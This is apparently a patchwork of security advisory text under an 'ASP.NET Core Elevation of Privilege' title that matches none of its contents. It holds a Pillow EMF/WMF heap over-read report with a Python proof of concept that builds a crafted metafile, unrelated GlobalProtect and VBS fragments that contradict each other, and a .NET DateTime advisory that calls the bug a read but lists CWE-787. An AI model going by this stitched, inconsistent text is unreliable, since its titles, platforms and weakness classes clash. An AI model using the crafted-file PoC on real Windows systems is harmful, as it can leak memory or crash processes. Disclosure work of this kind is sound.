ASP.NET Core Elevation of Privilege Vulnerability

Summary On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.

Details The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:

- src/PIL/WmfImagePlugin.py:121-129 reads the bounding box; :148 stores it; the size reaches the native handler through src/PIL/WmfImagePlugin.py:56.

In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:

- src/display.c:793-794 assign the 16-bit fields - src/display.c:800 sizes the allocation from them - src/display.c:827 copies height ((width 3 + 3) & -4) bytes using the full values

The whole handler is compiled only on Windows (#ifdef WIN32, src/display.c:33-841).

PoC python import struct from PIL import Image

def L(v): return struct.pack("<i", v)

Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the decompression-bomb check, but the width truncates to 16 bits for the allocation while the copy uses 70000. emf = b"\x01\x00\x00\x00" + L(88) # record type + size emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1 emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc) emf += b" EMF" # signature at offset 40 emf += bytes(44) open("poc.emf", "wb").write(emf)

im = Image.open("poc.emf") print("size:", im.size, "pixels:", im.size[0] im.size[1]) im.load() # over-read happens here on a Windows build

On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).

Impact CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.

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The GlobalProtect™ app on Linux, macOS, iOS, Android, and Chrome OS is not affected by this vulnerability.

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The GlobalProtect app on Linux, Windows, iOS, Android and Chrome OS is not affected by this vulnerability.

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Heap-based buffer overflow in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.

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Executive summary

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Runtime. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.

DateTime Hebrew-number parsing can read outside expected stack bounds and terminate the process.

Announcement

Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/481

CVSS Details

- Version: 3.1 - Severity: High - Score: 7.5 - Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

- Weakness: CWE-787 (Out-of-bounds Write) Affected Platforms

- Platforms: Windows, Linux, macOS - Architectures: All

<a name="affected-packages"></a>Affected Packages

The vulnerability affects Microsoft .NET projects that use an affected package version listed below.

Package name | Affected version | Patched version ------------ | ---------------- | --------------- Microsoft.NETCore.App.Runtime.linux-arm | >= 10.0.0, <= 10.0.12 | 10.0.13 Microsoft.NETCore.App.Runtime.linux-arm64 | >= 10.0.0, <= 10.0.12 | 10.0.13 Microsoft.NETCore.App.Runtime.linux-musl-arm | >= 10.0.0, <= 10.0.12 | 10.0.13 Microsoft.NETCore.App.Runtime.linux-musl-arm64 | >= 10.0.0, <= 10.0.12 | 10.0.13 Microsoft.NETCore.App.Runtime.linux-musl-x64 | >= 10.0.0, <= 10.0.12 | 10.0.13 Microsoft.NETCore.App.Runtime.linux-x64 | >= 10.0.0, <= 10.0.12 | 10.0.13 Microsoft.NETCore.App.Runtime.osx-arm64 | >= 10.0.0, <= 10.0.12 | 10.0.13 Microsoft.NETCore.App.Runtime.osx-x64 | >= 10.0.0, <= 10.0.12 | 10.0.13 Microsoft.NETCore.App.Runtime.win-arm | >= 10.0.0, <= 10.0.12 | 10.0.13 Microsoft.NETCore.App.Runtime.win-arm64 | >= 10.0.0, <= 10.0.12 | 10.0.13 Microsoft.NETCore.App.Runtime.win-x64 | >= 10.0.0, <= 10.0.12 | 10.0.13 Microsoft.NETCore.App.Runtime.win-x86 | >= 10.0.0, <= 10.0.12 | 10.0.13 Microsoft.NETCore.App.Runtime.linux-arm | >= 11.0.0-preview.1, <= 11.0.0-rc.1 | 11.0.0-rc.2 Microsoft.NETCore.App.Runtime.linux-arm64 | >= 11.0.0-preview.1, <= 11.0.0-rc.1 | 11.0.0-rc.2 Microsoft.NETCore.App.Runtime.linux-musl-arm | >= 11.0.0-preview.1, <= 11.0.0-rc.1 | 11.0.0-rc.2 Microsoft.NETCore.App.Runtime.linux-musl-arm64 | >= 11.0.0-preview.1, <= 11.0.0-rc.1 | 11.0.0-rc.2 Microsoft.NETCore.App.Runtime.linux-musl-x64 | >= 11.0.0-preview.1, <= 11.0.0-rc.1 | 11.0.0-rc.2 Microsoft.NETCore.App.Runtime.linux-x64 | >= 11.0.0-preview.1, <= 11.0.0-rc.1 | 11.0.0-rc.2 Microsoft.NETCore.App.Runtime.osx-arm64 | >= 11.0.0-preview.1, <= 11.0.0-rc.1 | 11.0.0-rc.2 Microsoft.NETCore.App.Runtime.osx-x64 | >= 11.0.0-preview.1, <= 11.0.0-rc.1 | 11.0.0-rc.2 Microsoft.NETCore.App.Runtime.win-arm | >= 11.0.0-preview.1, <= 11.0.0-rc.1 | 11.0.0-rc.2 Microsoft.NETCore.App.Runtime.win-arm64 | >= 11.0.0-preview.1, <= 11.0.0-rc.1 | 11.0.0-rc.2 Microsoft.NETCore.App.Runtime.win-x64 | >= 11.0.0-preview.1, <= 11.0.0-rc.1 | 11.0.0-rc.2 Microsoft.NETCore.App.Runtime.win-x86 | >= 11.0.0-preview.1, <= 11.0.0-rc.1 | 11.0.0-rc.2 Microsoft.NETCore.App.Runtime.linux-arm | >= 9.0.0, <= 9.0.20 | 9.0.21 Microsoft.NETCore.App.Runtime.linux-arm64 | >= 9.0.0, <= 9.0.20 | 9.0.21 Microsoft.NETCore.App.Runtime.linux-musl-arm | >= 9.0.0, <= 9.0.20 | 9.0.21 Microsoft.NETCore.App.Runtime.linux-musl-arm64 | >= 9.0.0, <= 9.0.20 | 9.0.21 Microsoft.NETCore.App.Runtime.linux-musl-x64 | >= 9.0.0, <= 9.0.20 | 9.0.21 Microsoft.NETCore.App.Runtime.linux-x64 | >= 9.0.0, <= 9.0.20 | 9.0.21 Microsoft.NETCore.App.Runtime.osx-arm64 | >= 9.0.0, <= 9.0.20 | 9.0.21 Microsoft.NETCore.App.Runtime.osx-x64 | >= 9.0.0, <= 9.0.20 | 9.0.21 Microsoft.NETCore.App.Runtime.win-arm | >= 9.0.0, <= 9.0.20 | 9.0.21 Microsoft.NETCore.App.Runtime.win-arm64 | >= 9.0.0, <= 9.0.20 | 9.0.21 Microsoft.NETCore.App.Runtime.win-x64 | >= 9.0.0, <= 9.0.20 | 9.0.21 Microsoft.NETCore.App.Runtime.win-x86 | >= 9.0.0, <= 9.0.20 | 9.0.21 Microsoft.NETCore.App.Runtime.linux-arm | >= 8.0.0, <= 8.0.31 | 8.0.32 Microsoft.NETCore.App.Runtime.linux-arm64 | >= 8.0.0, <= 8.0.31 | 8.0.32 Microsoft.NETCore.App.Runtime.linux-musl-arm | >= 8.0.0, <= 8.0.31 | 8.0.32 Microsoft.NETCore.App.Runtime.linux-musl-arm64 | >= 8.0.0, <= 8.0.31 | 8.0.32 Microsoft.NETCore.App.Runtime.linux-musl-x64 | >= 8.0.0, <= 8.0.31 | 8.0.32 Microsoft.NETCore.App.Runtime.linux-x64 | >= 8.0.0, <= 8.0.31 | 8.0.32 Microsoft.NETCore.App.Runtime.osx-arm64 | >= 8.0.0, <= 8.0.31 | 8.0.32 Microsoft.NETCore.App.Runtime.osx-x64 | >= 8.0.0, <= 8.0.31 | 8.0.32 Microsoft.NETCore.App.Runtime.win-arm | >= 8.0.0, <= 8.0.31 | 8.0.32 Microsoft.NETCore.App.Runtime.win-arm64 | >= 8.0.0, <= 8.0.31 | 8.0.32 Microsoft.NETCore.App.Runtime.win-x64 | >= 8.0.0, <= 8.0.31 | 8.0.32 Microsoft.NETCore.App.Runtime.win-x86 | >= 8.0.0, <= 8.0.31 | 8.0.32

Advisory FAQ

<a name="how-affected"></a>How do I know if I am affected?

If using a package listed in affected packages, you're exposed to the vulnerability.

<a name="how-fix"></a>How do I fix the issue?

1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs. 2. If your application references the vulnerable package, update the package reference to the patched version. You can list the versions you have installed by running the dotnet --info command.

Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.

Additionally, if you've deployed self-contained applications targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.

Other Information

Reporting Security Issues

If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the MSRC Researcher Portal. Further information can be found in the MSRC Report an Issue FAQ.

Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.

Support

You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.

Disclaimer

The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

External Links

CVE-2026-96233

Acknowledgements

- s3zer0

Revisions

V1.0 (10/13/2026): Advisory published.

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